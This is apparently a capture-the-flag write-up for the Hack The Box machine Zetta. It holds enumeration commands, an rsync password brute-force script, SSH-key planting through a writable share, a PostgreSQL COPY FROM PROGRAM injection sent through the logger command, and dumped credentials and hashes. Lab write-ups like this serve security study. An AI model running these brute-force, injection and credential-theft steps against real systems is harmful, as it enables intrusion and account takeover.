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Zetta
=======================
|              ZETTA 10.10.10.156               |
=======================

InfoGathering
Nmap scan report for zetta.htb (10.10.10.156)
Host is up (0.073s latency).
Not shown: 997 filtered ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Pure-FTPd
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey: 
|   2048 2d:82:60:c1:8c:8d:39:d2:fc:8b:99:5c:a2:47:f0:b0 (RSA)
|   256 1f:1b:0e:9a:91:b1:10:5f:75:20:9b:a0:8e:fd:e4:c1 (ECDSA)
|_  256 b5:0c:a1:2c:1c:71:dd:88:a4:28:e0:89:c9:a3:a0:ab (ED25519)

80/tcp open  http    nginx
|_http-title: Ze::a Share

DISCOVERY OF PORT 8730 comes after IPv6 is discovered

FTP Anonymous login was denied. It does say IPv6 connections are allowed which means the box has IPv6 
configured. 
RFC 2428 defines how to communicate with FTP over IPv6. PureFTP is the type of FTP server.

In the Sharing section of http://zetta.htb/index.html we find these credentials. Since the function just randomly 
generates a mirrored username and password login I changed the last character and succesffully logged into the 
FTP server. I tried again using admin:admin credentials. THis failed though that may be an actual user with a set 
password. I attempted tobor:tobor. That also failed. I then tried a username and password of 42 a's. This worked 
which means that is the rule for signing in.
 (aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa)
USER: N9ktzQnIcspA9jMWiwgJZ1vwqWZshKqS
PASS: N9ktzQnIcspA9jMWiwgJZ1vwqWZshKqS
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I uploaded a test file successfully after signing in

The EPRT command was created to allow connections to FTP over IPv6. it expects the following format.
EPRT<space><d><net-prt><d><net-addr><d><tcp-port><d>
EPRT |2|<ipv6address>|5995|

 RESOURCE: https://tools.ietf.org/html/rfc2428 

FUZZ RESULTS
/index.html
/css
/js
/fonts
/images
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In the source of the main page a function called “randomString” exists suggesting a username and password is 
generated randomly
function randomString(length, chars) {
    var result = '';
    for (var i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
    return result;
}
var rString = randomString(32, '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ');

I was able to use a PureFTPD FXP Abuse tool to enum the IPv6 address
RESOURCE: https://github.com/Diefunction/Pureftpd-FXPAbuse
My IPv6 address : dead:beef:2::1013
python FXPAbuse.py --host zetta.htb --username aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa --password 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa --lhost dead:beef:2::1013 --lport 8089
# RESULTS
[*] FXP Enabled
[+] [dead:beef::250:56ff:feb9:8c39]:34776



4/11

I ran another nmap scan for this address and a new port was discovered. Ensure you scan all possible ports using 
the -p- option
nmap -p- -vv -6 dead:beef::250:56ff:feb9:8c39
# RESULTS
Discovered open port 21/tcp on dead:beef::250:56ff:feb9:8c39
Discovered open port 80/tcp on dead:beef::250:56ff:feb9:8c39
Discovered open port 22/tcp on dead:beef::250:56ff:feb9:8c39
Discovered open port 8730/tcp on dead:beef::250:56ff:feb9:8c39

# Enumerate port 8730
nmap -6 -p 8730 dead:beef::250:56ff:feb9:8c39 -sV

Gaining Access
Interacting with port 8730 tells us this is using RSync
# Interact with port to discover what service is used
nc -6 dead:beef::250:56ff:feb9:8c39 8370

# Get a list of rsync shares
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:8c39]:8730
# RESULTS
bin             Backup access to /bin
boot            Backup access to /boot
lib             Backup access to /lib
lib64           Backup access to /lib64
opt             Backup access to /opt
sbin            Backup access to /sbin
srv             Backup access to /srv
usr             Backup access to /usr
var             Backup access to /var

I was able to sync the /etc module to my attack box.
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# Make folder to sync files to
mkdir RsyncFolders

# Sync the folders to your local machine
rsync -av rsync://[dead:beef::250:56ff:feb9:8c39]:8730/etc RsyncFolders/etc

Etc contains configuration files in the Linux file structure so I read the rsyncd.conf file. This told me I have access 
to the /etc directory which I already know as well as /home_roy which is hidden. The /home_roy module requires 
authentication and expects a username of Roy.
cat RsyncFolders/etc/rsyncd.conf

I ran a sync of the /home_roy directory but it wanted a password. I brute forced the password and then 
downloaded the user flag
CONTENTS OF PASSWORD CRACKING SCRIPT
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#!/usr/bin/env python3
import sys
import subprocess
from subprocess import PIPE

wordlist = sys.argv[1]
target_username = 'roy'
target_address = 'dead:beef::250:56ff:feb9:8c39'
target_port = 8730
target_module = 'home_roy'

target_command = "rsync://{}@[{}]:{}/{}".format(target_username, target_address, target_port,
target_module)

f = open(wordlist, 'r', errors='ignore')
words = f.readlines()

for password in words:
    password = password.rstrip()
    pass_file = open("pass", "w+")
    pass_file.write(password)
    pass_file.close()
    p = subprocess.run(['rsync', '-av', '--password-file=pass', '--list-only', target_command],
stdout=PIPE, stderr=PIPE)
    rsync_error = p.stderr.decode('utf-8')
    rsync_output = p.stdout.decode('utf-8')

# Crack the password using the above script
python3 getpass.py /usr/share/wordlists/rockyou.txt

USER: roy
PASS: computer

Sync the home_roy share using the cracked password
rsync -av rsync://roy@[dead:beef::250:56ff:feb9:8c39]:8730/home_roy ../RsyncFolders/home_roy
computer
# RESULTS
receiving incremental file list
drwxr-xr-x          4,096 2019/07/28 04:52:29 .
lrwxrwxrwx              9 2019/07/27 04:57:06 .bash_history -> /dev/null
-rw-r--r--            220 2019/07/27 01:03:28 .bash_logout
-rw-r--r--          3,526 2019/07/27 01:03:28 .bashrc
-rw-r--r--            807 2019/07/27 01:03:28 .profile
-rw-------          4,752 2019/07/27 03:24:24 .tudu.xml
-r--r--r--             33 2019/07/27 03:24:24 user.txt

# READ USER FLAG
cat user.txt
a575bdb345f2de0a3172c8282452be91

I have write access to the /home_roy directory. This means I can upload my own ssh key to the directory I just 
sync'd to my machine for ssh access as roy.
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# Make the .ssh directory
mkdir home_roy/.ssh

# Place your public ssh keys into the authorized_keys file
echo $(cat /root/.ssh/id_rsa.pub) > home_roy/.ssh/authorized_keys

# Upload the changes
rsync -av ../RsyncFolders/home_roy/ rsync://roy@[dead:beef::250:56ff:feb9:8c39]:8730/home_roy

This is what I want to see

SSH in as Roy
ssh -i /root/.ssh/id_rsa roy@zetta.htb

USER FLAG: a575bdb345f2de0a3172c8282452be91

PrivEsc
Reading the contents of /home/roy/tudu.xml we discover a password format scheme. <password>@userid. We 
also see PostGRESQL is being used for logging. I checked rsyslogs config file since syslogging is sent to 
PostGreSQL which disables writing logs files to disk and references /etc/rsyslog.d which has a pgsql.conf file. 
There is also a .git directory in /etc/rsyslog which means this may be an active repository. I was not able to read 
the pgsql.conf file so I had to clone the repository to /tmp/tobor in order to read it.
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cat /etc/rsyslog.d/pgsql.conf 
# RESULTS
cat: /etc/rsyslog.d/pgsql.conf: Permission denied

# Make empty folder to clone too
mkdir /tmp/tobor

# Clone repository
git clone /etc/rsyslog.d /tmp/tobor/

# Read the file
cat /tmp/tobor/pgsql.conf

I attempted to access the database using the supplied credentials failed
psql --host=localhost --dbname=syslog --username=postgres
test1234
# RESULT
Password for user postgres: 
psql: FATAL:  password authentication failed for user "postgres"
FATAL:  password authentication failed for user "postgres"

I compared this file to that off the home directory one and noticed they are different sizes
# Get size info for readable
ls -la /tmp/tobor
-rw-r--r--  1 roy  roy   807 Dec 18 00:19 pgsql.conf

# Get size info for not readable
ls -la /etc/rsyslog.d
-rw-------  1 root root  824 Jul 27 07:01 pgsql.conf

CVE 2019-9193 allows arbitrary code execution into PostGreSql databases.
RESOURCE: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-
postgresql-9-3-latest-
cd18945914d5#targetText=Authenticated%20Arbitrary%20Command%20Execution%20on%20PostgreSQL%209.3%20%3E%20Latest&tar

After much playing around I found the way to code execution using the below format. \$\$ was used as a 
replacement for a tick to define postgresql commands
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logger -p local7.info "test',\$\$2019-19-12\$\$);DROP TABLE if exists bob4;CREATE TABLE bob4(t TEXT);COPY 
bob4 FROM PROGRAM \$\$/whoami\$\$;COPY bob4(t) to \$\$/tmp/bob4\$\$;-- -"

Spawn a shell as user postgresql using some form of reverse shell in place of the whoami command above. We 
can then access postgresql database and obtain the password from the database
# Enter PostGreSQL
psql

# Query database for password
select usename, passwd from pg_shadow;

# RESULTS
 usename  |               passwd                
----------+-------------------------------------
 postgres | md5743fa0a8feb9a1f8e54b404a98ac6355
(1 row)

# Quit postgresql
\q

The ssh for postgres was found in the ssh directory. I can now ssh in as that user
cat /var/lib/postgresql/.ssh/id_rsa

POSTGRES PRIVATE KEY
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-----BEGIN OPENSSH PRIVATE KEY----------END OPENSSH PRIVATE KEY-----

Set correct permissions on that key and ssh in
# Set permissions
chmod 600 postgres.key

# ssh in
ssh -i postgres.key postgres@zetta.htb
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File .postgresql_history contains a clear text password. 

Although the user says postgres it is inferred from .tudu.xml that this password is acutally the root password

We could not ssh in as root as this is blocked via /etc/ssh/sshd_config. Su access was possible
# As Roy
su -
sup3rs3cur3p4ass@root


